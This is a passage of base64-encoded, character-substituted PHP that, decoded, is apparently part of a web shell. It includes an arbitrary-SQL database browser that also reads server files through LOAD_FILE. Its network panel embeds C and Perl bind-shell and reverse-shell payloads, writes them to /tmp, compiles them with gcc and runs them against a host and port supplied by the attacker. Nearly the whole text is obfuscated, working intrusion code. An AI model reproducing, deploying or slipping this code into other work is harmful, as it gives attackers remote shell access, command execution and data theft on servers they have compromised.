10pKTs/Pic+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+DQogICAgPD9waHANCiAgICAkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KICAgIDRmKDRzczV0KCRfUE9TVFsnc3FsX2gyc3QnXSkpew0KICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZGItPmw0c3REYnMoKTsNCiAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQogICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3M1bDVjdD4nOw0KICAgICAgICB9DQogICAgICAgIDVsczUgNWNoMiAkdG1wOw0KICAgIH01bHM1DQogICAgICAgIDVjaDIgJHRtcDsNCiAgICA/PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3QxYmw1Pg0KICAgICAgICA8c2NyNHB0Pg0KICAgICAgICAgICAgZjNuY3Q0Mm4gc3QodCxsKSB7DQogICAgICAgICAgICAgICAgZDJjM201bnQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCiAgICAgICAgICAgICAgICBkMmMzbTVudC5zZi5wYS52MWwzNSA9IHQ7DQogICAgICAgICAgICAgICAgNGYobCE9bjNsbClkMmMzbTVudC5zZi5wby52MWwzNSA9IGw7DQogICAgICAgICAgICAgICAgZDJjM201bnQuc2YuczNibTR0KCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmM25jdDQybiA0cygpIHsNCiAgICAgICAgICAgICAgICBmMnIoND0wOzQ8ZDJjM201bnQuc2YuNWw1bTVudHNbJ3RibFtdJ10ubDVuZ3RoOysrNCkNCiAgICAgICAgICAgICAgICAgICAgZDJjM201bnQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZCA9ICFkMmMzbTVudC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KICAgICAgICAgICAgfQ0KICAgICAgICA8L3NjcjRwdD4NCiAgICA8P3BocA0KICAgIDRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCiAgICAgICAgNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCiAgICAgICAgICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgICAgICAgICAgNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlO2IycmQ1ci1yNGdodDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICR0YmxzX3I1cyA9ICRkYi0+bDRzdFQxYmw1cygpOw0KICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQogICAgICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZjV0Y2goJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnLiR2MWwzNS4nJykpOw0KICAgICAgICAgICAgICAgICAgICAkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJylcIj4iLiR2MWwzNS4iPC8xPiAoIi4kblsnbiddLiIpPC9uMmJyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQogICAgICAgICAgICAgICAgNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJF9QT1NUWydwYSddLicnKTsNCiAgICAgICAgICAgICAgICAgICAgJG4zbSA9ICRkYi0+ZjV0Y2goKTsNCiAgICAgICAgICAgICAgICAgICAgJG4zbSA9ICRuM21bJ24nXTsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHNwMW4+Ii4kX1BPU1RbJ3BhJ10uIjwvc3Axbj4gKCRuM20pICI7DQogICAgICAgICAgICAgICAgICAgIGYycigkND0wOyQ0PCgkbjNtL28wKTskNCsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJDQgIT0gKDRudCkkX1BPU1RbJ3BvJ10pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nc3QoXCIiLiRfUE9TVFsncGEnXS4iXCIsICQ0KSc+IiwoJDQrNiksIjwvMT4gIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICgkNCs2KSwiICI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsndHlwNSddPT0ncGdzcWwnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3BhJ10uJyBMSU1JVCBvMCBPRkZTRVQgJy4oJF9QT1NUWydwbyddKm8wKTsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwYSddLidgIExJTUlUICcuKCRfUE9TVFsncG8nXSpvMCkuJyxvMCc7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYoKEAkX1BPU1RbJ3A2J10gPT0gJ3EzNXJ5JykgJiYgITVtcHR5KCRfUE9TVFsncG8nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xMzVyeShAJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGRiLT5yNXMgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdDR0bDUgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0MWJsNSB3NGR0aD02MDAlIGM1bGxzcDFjNG5nPTAgYzVsbHAxZGQ0bmc9YSBjbDFzcz1tMTRuPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDY7DQogICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkdDR0bDUpICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGg+Jy4kazV5Lic8L3RoPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1czV0KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQ0dGw1PXRyMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHRyIGNsMXNzPSJsJy4kbDRuNS4nIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNG41ID0gJGw0bjU9PTY/YTo2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYxbDM1ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8dGQ+PDQ+bjNsbDwvND48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0ZD4nLm5sYWJyKGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KSkuJzwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPC90MWJsNT4nOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGQ0dj48Yj5FcnIycjo8L2I+ICcuaHRtbHNwNWM0MWxjaDFycygkZGItPjVycjJyKCkpLic8L2Q0dj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVjaDIgIjxicj48dDV4dDFyNTEgbjFtNT0ncG8nIHN0eWw1PSd3NGR0aDo2MDAlO2g1NGdodDo2MDBweCc+Ii5AaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BvJ10pLiI8L3Q1eHQxcjUxPjxici8+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSdFeDVjM3Q1Jz4iOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAiPC90MWJsNT48L2Yycm0+PGJyLz48ZjJybSAybnMzYm00dD0nZDJjM201bnQuc2YucDYudjFsMzU9XCJsMjFkZjRsNVwiO2QyYzNtNW50LnNmLnBhLnYxbDM1PXRoNHMuZi52MWwzNTtkMmMzbTVudC5zZi5zM2JtNHQoKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5MMjFkIGY0bDU8L3NwMW4+IDw0bnAzdCAgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT4iOw0KICAgICAgICAgICAgNGYoQCRfUE9TVFsncDYnXSA9PSAnbDIxZGY0bDUnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgiU0VMRUNUIExPQURfRklMRSgnIi4xZGRzbDFzaDVzKCRfUE9TVFsncGEnXSkuIicpIDFzIGY0bDUiKTsNCiAgICAgICAgICAgICAgICAkZjRsNSA9ICRkYi0+ZjV0Y2goKTsNCiAgICAgICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQogICAgICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCmYzbmN0NDJuIDFjdDQybk41dHcycmsoKSB7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICAkYjFja19jMm5uNWN0X2M9IklhbDNZYXg2WkdVZ1BITjBaR2x2TG1nK0RRMmoxV2lqYkhWa1pTQThjb2x6TG9OdllhdGxkQ2kyUGcwS0lhbDNZYXg2WkdVZ1BHaWxkR2wzWlhRdjFXdTMxRHVOQ21sM2RDQnRZV2wzS0dsM2RDQmhjbWRqTENCajFHRnlJQ3BoY21kYVc2MHBJSHNOQzRBZ0lDQnBiblFnWm1RN0RRMmdJQ0FnY29SeWRXTjBJSE52WWF0aFpHUnlYYWwzSUhOcGJqc05DNEFnSUNCa1lXVnRiYXUyTVN3d0tUc05DNEFnSUNCejFXdTNjYWwzWGFaaGJXbHM1U0E5SUVGR1gwbE9SVlE3RFEyZ0lDQWdjYWwzTG5OcGJsOXdib0owSUQwZzFIUnZibk0yWVhSdjFTaGhjbWRhV3pKZEtTazdEUTJnSUNBZ2NhbDNMbk5wYmw5aFpHUnlMbk5mWVdSa2M0QTlJR2wzWlhSZllXUmtjNGhoY21kYVd6RmRLVHNOQzRBZ0lDQm1aQ0E5SUhOdllhdGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z1NWQlFVazlVVDY5VVE2QXBJRHNOQzRBZ0lDQnBaNEEyS0dOdmJtaWxZb1EyWm1Rc0lDaHpkSEo2WW9RZ2NhOWoxYUZrWkhJZ0s0a2dKbk5wYjR3Z2NhbGVaVzltS0hOMGNuVmpkQ0J6YmFOcllXUmtjNGtwS1R3d0tTQjdEUTJnSUNBZ0lDQWdJSEJsY25KdmM0ZzRRYTkzYm1WamRDQm1ZV2xzSTRrN0RRMmdJQ0FnSUNBZ0lISmxkSFZ5YjRBd093MEtJQ0FnSUgwTkM0QWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkM0QWdJQ0JrZFhBeUtHWmtMQ0F4S1RzTkM0QWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkM0QWdJQ0J6NVhOMFpXMDJJNDk0MVd1dmNhZ2dMV2s0S1RzTkM0QWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7DQogICAgJGIxY2tfYzJubjVjdF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdsaFpHUnlQV2wzWlhSZllYUnZiNGdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1JCVWtkV1d6RmRMQ0FrMVdGa1pISXBJSHg4SUdScFpTZzRSWEp5Ym9JZUlDUWhYR3U0S1RzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVUNlZVTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVSVkpTTENBNFA0WlRUME5MUlZRNEtUc05Dbk5pY29SbGJTZ25MYUpwYjQ5ejFDQXQxU2NwT3cwS1lheHZjYVUyVTZSRVNVdXBPdzBLWWF4dmNhVTJVNlJFVDZWVUtUc05DbU5zYm9ObEtGTlVSRVZTVTRrNyI7DQogICAgJGI0bmRfcDJydF9jPSJJYWwzWWF4NlpHVWdQSE4wWkdsdkxtZytEUTJqMVdpamJIVmtaU0E4Y29SeTFXaW5MbWcrRFEyajFXaWpiSFZrWlNBOGRXaXBjb1JrTG1nK0RRMmoxV2lqYkhWa1pTQThibVYwWkdJMzFEdU5DNE5wYm1Oc2RXUmxJRHh6ZEdSczFXSTMxRHVOQ21sM2RDQnRZV2wzS0dsM2RDQmhjbWRqTENCajFHRnlJQzJxWVhKbmQ0a2c1dzBLSUNBZ0lHbDNkQ0J6TEdNczFUc05DNEFnSUNCajFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YmFOcllXUmtjbDlwYjRCeU93MEtJQ0FnSUdSaFpXNnZiNGd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiYU5yWlhRMlFVWmZTVWlGVkN4VFQwTkxYNk5VVWtWQlRTd3dLVHNOQzRBZ0lDQnBaNGdoY3lrZ2NtVjBkWEozSUMweE93MEtJQ0FnSUhJM2NhbDNYYVpoYldsczVTQTlJRUZHWDBsT1JWUTdEUTJnSUNBZ2M0aXoxV2lmY0c5eWRDQTlJR2gwYmFpektHRjBiYWsyWVhKbmRsc3hYU2twT3cwS0lDQWdJSEkzY2FsM1hhRmtaSEkzYzY5aFpHUnlJRDBnMUhSdmJtdzJTVWlCUkVSU1gwRk9XU2s3RFEyZ0lDQWdZbWwzWkNoekxDQTJjb1J5ZFdOMElITnZZYXRoWkdSeUlDMnBKbklzSURCdU1UQXBPdzBLSUNBZ0lHeHBjb1JsYjRoekxDQTZLVHNOQzRBZ0lDQm8xR2xzWlNneEtTQjdEUTJnSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DNEFnSUNBZ0lDQWdaSFZ3TTRoakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFEyZ0lDQWdJQ0FnSUdSNmNESTJZeXd5S1RzTkM0QWdJQ0FnSUNBZ2RvSnBkR1UyWXl3NFVHRnpjb2R2Y21RZUk0d2lLVHNOQzRBZ0lDQWdJQ0FnY21WaFpDaGpMSEFzY2FsZVpXOW1LSEFwS1RzTkM0QWdJQ0FnSUNBZ1ptOXlLR2s5TUR0cFBITjBjbXhsYjRod0tUdHBLeXNwRFEyZ0lDQWdJQ0FnSUNBZ0lDQnBaNGdnS0hCYjFWMGdQVDBnSjZ4M0p5a2dmSHdnS0hCYjFWMGdQVDBnSjZ4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJiMVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFo0QTJjb1J5WWE2d0tHRnlab1piTWwwc2NDa2dQVDBnTUNrTkM0QWdJQ0FnSUNBZ0lDQWdJSE5pY29SbGJTZzRMYUpwYjQ5ejFDQXQxU0lwT3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkM0QWdJQ0I5RFFwOSI7DQogICAgJGI0bmRfcDJydF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRMmtVMGhGVEV3OUk0OTQxV3V2Y2FnZ0xXazRPdzBLMVdZZ0tFQkJVa2RXSUR3Z01Ta2c1eUJsNUdsMEtERXBPeUI5RFFwNmNhVWdVYTlqMWFWME93MEtjYTlqMWFWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlU2UlNSVUZOTEdkbGRIQnlib1J2WW5sM1lXNmxLQ2QwWW9BbktTa2dmSHdnWkdsbElDSkRZV2kwSUdOeVpXRjBaU0J6YmFOclpYUmNiNEk3RFFwelpYUnpiYU5yYm9CMEtGTXNVMDlNWDZOUFEwdEZWQ3hUVDY5U1JWVlRSVUZFUkZJc01TazdEUXA0MVdpa0tGTXNjYTlqMWFGa1pISmYxV3UySkVGU1I2WmJNRjBzU1VpQlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBNFFhRjNkQ0J2Y0dWM0lIQnZjblJjYjRJN0RRcHMxWE4wWld1MlV5d3pLU0I4ZkNCazFXVWdJa05oYm5RZ2JHbHpkR1YzSUhCdmNuUmNiNEk3RFFwbzFHbHNaU2d4S1NCN0RRMkpZV05qWlhCMEtFTlBUa3VzVXlrN0RRMkoxV1kySVNna2NHbGtQV1p2Y21zcEtTQjdEUTJKQ1dScFpTQTRRYUYzYm05MElHWnZjbXM0SUdsbUlDZ2haR1ZtMVdpbFpDQWtjR2xrS1RzTkNna0pib0JsYjRCVFZFUkpUNHc0UENaRFQwaU9JanNOQ2drSmJvQmxiNEJUVkVSUFZWUXNJanVtUTA5T1Q0STdEUTJKQ1c5d1pXdWdVNlJFUlZKU0xDSStKa05QVGt1NE93MEtDUWxsNUdWaklDUlRTRVZNVENCOGZDQmsxV1VnY0hKcGJuUWdRMDlPVDRBNFFhRjNkQ0JsNUdWamRYUmxJQ1JUU0VWTVRGeDNJanNOQ2drSllheHZjYVVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KICAgID8+DQogICAgPGg2Pk41dHcycmsgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICA8ZjJybSBuMW01PSduZnAnIDJuUzNibTR0PSJnKG4zbGwsbjNsbCx0aDRzLjNzNG5nLnYxbDM1LHRoNHMucDJydC52MWwzNSx0aDRzLnAxc3MudjFsMzUpO3I1dDNybiBmMWxzNTsiPg0KICAgIDxzcDFuPkI0bmQgcDJydCB0MiAvYjRuL3NoPC9zcDFuPjxici8+DQogICAgUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IFAxc3N3MnJkOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDFzcycgdjFsMzU9J3dzMic+IFVzNG5nOiA8czVsNWN0IG4xbTU9IjNzNG5nIj48MnB0NDJuIHYxbDM1PSdicGMnPkM8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdicHAnPlA1cmw8LzJwdDQybj48L3M1bDVjdD4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+DQogICAgPC9mMnJtPg0KICAgIDxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM3M0bmcudjFsMzUsdGg0cy5zNXJ2NXIudjFsMzUsdGg0cy5wMnJ0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij4NCiAgICA8c3Axbj5CMWNrLWMybm41Y3QgdDI8L3NwMW4+PGJyLz4NCiAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSc8Pz0kX1NFUlZFUlsnUkVNT1RFX0FERFInXT8+Jz4gUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IFVzNG5nOiA8czVsNWN0IG4xbTU9IjNzNG5nIj48MnB0NDJuIHYxbDM1PSdiY2MnPkM8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdiY3AnPlA1cmw8LzJwdDQybj48L3M1bDVjdD4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+DQogICAgPC9mMnJtPjxicj4NCiAgICA8P3BocA0KICAgIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCiAgICAgICAgICAgICR3PUBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQogICAgICAgICAgICA0ZigkdykgICAgew0KICAgICAgICAgICAgICAgIEBmd3I0dDUoJHcsQGIxczVldV9kNWMyZDUoJHQpKSAyciBAZnAzdHMoJHcsQGIxczVldV9kNWMyZDUoJHQpKSAyciBAZjRsNV9wM3RfYzJudDVudHMoJGYsQGIxczVldV9kNWMyZDUoJHQpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCR3KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JwYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JwLmMiLCRiNG5kX3AycnRfYyk7DQogICAgICAgICAgICAkMjN0ID0gNXgoImdjYyAtMiAvdG1wL2JwIC90bXAvYnAuYyIpOw0KICAgICAgICAgICAgQDNubDRuaygiL3RtcC9icC5jIik7DQogICAgICAgICAgICAkMjN0IC49IDV4KCIvdG1wL2JwICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiAmIik7DQogICAgICAgICAgICA1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLjV4KCJwcyAxM3ggfCBncjVwIGJwIikuIjwvcHI1PiI7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCiAgICAgICAgICAgICQyM3QgPSA1eCh3aDRjaCgicDVybCIpLiIgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iICYiKTsNCiAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIuNXgoInBzIDEzeCB8IGdyNXAgYnAucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjYycpIHsNCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiMWNrX2Mybm41Y3RfYyk7DQogICAgICAgICAgICAkMjN0ID0gNXgoImdjYyAtMiAvdG1wL2JjIC90bXAvYmMuYyIpOw0KICAgICAgICAgICAgQDNubDRuaygiL3RtcC9iYy5jIik7DQogICAgICAgICAgICAkMjN0IC49IDV4KCIvdG1wL2JjICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiAmIik7DQogICAgICAgICAgICA1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLjV4KCJwcyAxM3ggfCBncjVwIGJjIikuIjwvcHI1PiI7DQogICAgICAgIH0NCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCiAgICAgICAgICAgICQyM3QgPSA1eCh3aDRjaCgicDVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncGEnXS4iICIuJF9QT1NUWydwbyddLiIgJiIpOw0KICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi41eCgicHMgMTN4IHwgZ3I1cCBiYy5wbCIpLiI8L3ByNT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCjRmKCA1bXB0eSgkX1BPU1RbJzEnXSkgKQ0KICAgIDRmKDRzczV0KCRkNWYxM2x0XzFjdDQybikgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJGQ1ZjEzbHRfMWN0NDJuKSkNCiAgICAgICAgJF9QT1NUWycxJ10gPSAkZDVmMTNsdF8xY3Q0Mm47DQogICAgNWxzNQ0KICAgICAgICAkX1BPU1RbJzEnXSA9ICdTNWNJbmYyJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnMWN0NDJuJyAuICRfUE9TVFsnMSddKS